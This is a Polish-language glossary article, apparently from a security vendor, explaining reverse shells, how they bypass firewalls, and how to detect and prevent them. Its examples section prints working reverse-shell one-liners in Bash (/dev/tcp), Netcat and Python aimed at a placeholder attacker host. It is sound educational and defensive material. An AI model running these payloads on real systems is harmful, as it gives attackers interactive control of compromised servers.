Glosariusz Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

Reverse shell, znany również jako connect-back shell, to sytuacja, gdy skompromitowany system łączy się z atakującym i daje mu dostęp do sesji wiersza poleceń na żywo.

Dlaczego to ma znaczenie?

  • Reverse shells mogą omijać zapory sieciowe ponieważ większość zapór blokuje połączenia przychodzące, ale pozwala na wychodzące.
  • Atakujący zyskują realną kontrolę ponieważ mogą uruchamiać polecenia tak, jakby byli zalogowani bezpośrednio.
  • Reverse shells są bardzo powszechne ponieważ są standardowym krokiem po tym, jak atakujący wykorzysta system.

Wyobraź sobie to w ten sposób: zamiast atakującego próbującego się dostać, oszukują serwer, aby ten się do nich zgłosił.

Co to jest Reverse Shell?

Reverse shell to zdalna powłoka, w której komputer ofiary inicjuje połączenie z komputerem atakującego.

Zwykle to twój komputer inicjuje połączenie, na przykład gdy odwiedzasz stronę internetową. W przypadku reverse shell, jest to odwrócone. Po tym, jak atakujący znajdzie sposób na uruchomienie kodu, serwer łączy się z powrotem do atakującego.

Łatwy sposób, aby to zapamiętać:

  • Bind shell: Próbujesz połączyć się z serwerem. Jeśli zapora cię blokuje, nie możesz się przedostać.
  • Reverse shell: Serwer łączy się z tobą. Ponieważ połączenia wychodzące są zazwyczaj dozwolone, możesz odpowiedzieć i przejąć kontrolę.

Dlaczego Reverse Shells są ważne

Zespoły ds. bezpieczeństwa zazwyczaj koncentrują się na obronie, takiej jak zapory sieciowe, load balancery i ograniczanie portów. Te metody działają, dopóki atakujący nie zdoła uruchomić kodu wewnątrz systemu.

Kiedy to się stanie, reverse shell staje się głównym sposobem, w jaki atakujący pozostaje w systemie.

Dlaczego to jest niebezpieczne:

  • Ruch wychodzący jest zaufany.

    Zapory sieciowe często pozwalają na ruch wychodzący na portach takich jak 80 lub 443 dla aktualizacji i API. Odwrotne powłoki mogą ukrywać się w tym dozwolonym ruchu.

  • Atakujący mogą utrzymać dostęp.

    Nawet jeśli pierwotna luka bezpieczeństwa zostanie naprawiona, aktywna powłoka może nadal pozwalać atakującym na kontrolowanie systemu.

  • Umożliwia ruch lateralny.

    Dzięki powłoce, atakujący mogą przeszukiwać wewnętrzną sieć, kraść hasła i przenosić się na inne komputery. Jedna luka może szybko doprowadzić do kompromitacji całego środowiska.

Jak działa odwrotna powłoka

Odwrotna powłoka ma dwie główne części: nasłuchiwacz i ładunek.

1. Nasłuchiwacz (strona atakującego)

Atakujący używa programu, który czeka na połączenia. Netcat jest powszechnym narzędziem do tego celu.

nc -lvnp 4444

To polecenie mówi komputerowi atakującego, aby nasłuchiwał na porcie 4444 i czekał na połączenie.

2. Ładunek (strona ofiary)

Po znalezieniu luki, takiej jak zdalne wykonanie kodu, atakujący uruchamia polecenie na serwerze ofiary, aby otworzyć powłokę i wysłać ją z powrotem.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

To polecenie uruchamia powłokę bash i wysyła wszystkie dane wejściowe i wyjściowe do komputera atakującego.

3. Połączenie

Serwer ofiary rozpoczyna połączenie wychodzące. Zapora sieciowa widzi to jako normalne i pozwala na to. Nasłuchiwacz atakującego akceptuje połączenie, dając atakującemu aktywną powłokę na serwerze.

Na tym etapie atakujący ma pełną interaktywną kontrolę nad serwerem.

Przykłady odwrotnych powłok

Atakujący i etyczni hakerzy dostosowują swoje podejście w oparciu o dostępne narzędzia na docelowym systemie.

Bash (powszechny na Linuxie)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Używany, gdy Netcat jest dostępny na docelowej maszynie.

nc -e /bin/sh 10.0.0.1 4444

Python

Python jest bardzo powszechny na nowoczesnych serwerach.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

Znajomość różnicy między reverse shells a bind shells pomaga w obronie sieci.

CechyBind ShellReverse Shell
Kierunek połączeniaAtakujący do OfiaryOfiara do Atakującego
Wpływ na firewallCzęsto blokowaneCzęsto dozwolone
Wymagania sieciowePotrzebny bezpośredni dostępDziała przez NAT i firewalle
Typowe zastosowanieSieci wewnętrzneAtaki w rzeczywistym świecie

Kto używa Reverse Shells?

  • Testerzy penetracyjni używają reverse shells, aby udowodnić, że luka może prowadzić do pełnego przejęcia systemu.
  • Zespoły czerwone używają reverse shells, aby sprawdzić, jak dobrze kontrolowany jest ruch wychodzący.
  • Złośliwi aktorzy używają reverse shells do wdrażania ransomware, kradzieży danych lub dalszego przemieszczania się w sieci.
  • Administratorzy systemów rzadko używają reverse shells do zdalnego dostępu. Zwykle preferują bezpieczne tunele SSH.

Wykrywanie i zapobieganie

Zatrzymanie reverse shells wymaga kilku warstw obrony.

  • Filtrowanie ruchu wychodzącego

    Serwery nie powinny mieć otwartego dostępu do internetu. Ogranicz, które miejsca docelowe i porty mogą być używane.

  • Monitorowanie zachowania

    Uruchamianie procesu powłoki przez serwer WWW, takiego jak /bin/bash lub cmd.exe, jest wysoce podejrzane.

  • Zmniejsz powierzchnię ataku.

    Usuń nieużywane narzędzia, takie jak Netcat, kompilatory i dodatkowe interpretery z systemów produkcyjnych.

Powiązane terminy

  • Zdalne wykonanie kodu (RCE)
  • Powłoka wiążąca

FAQ: Powłoka odwrócona

Czy powłoka odwrócona jest nielegalna?

Powłoki odwrócone są legalne tylko wtedy, gdy używasz ich na systemach, które posiadasz lub masz wyraźne pozwolenie na testowanie. Używanie ich bez pozwolenia jest nielegalne.

Dlaczego zapory ogniowe pozwalają na powłoki odwrócone?

Zapory ogniowe są zbudowane, aby blokować zagrożenia przychodzące i zazwyczaj ufają ruchowi wychodzącemu. Powłoki odwrócone wykorzystują tę cechę.

Czy oprogramowanie antywirusowe może wykryć powłoki odwrócone?

Czasami. Oprogramowanie antywirusowe, które używa sygnatur, może znaleźć znane programy powłokowe, ale powłoki bezplikowe stworzone za pomocą Bash lub Python są znacznie trudniejsze do wykrycia.

Jaka jest różnica między powłoką odwróconą a powłoką webową?

Powłoka webowa jest używana przez przeglądarkę i zazwyczaj pozostaje w systemie, ale ma ograniczone funkcje. Powłoka odwrócona zapewnia żywą, interaktywną sesję wiersza poleceń.

Następne kroki

Gotowy, aby zabezpieczyć swoje aplikacje? Wybierz swoją ścieżkę naprzód.

Dołącz do ponad 500 firm, które już zabezpieczają swoje aplikacje z Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready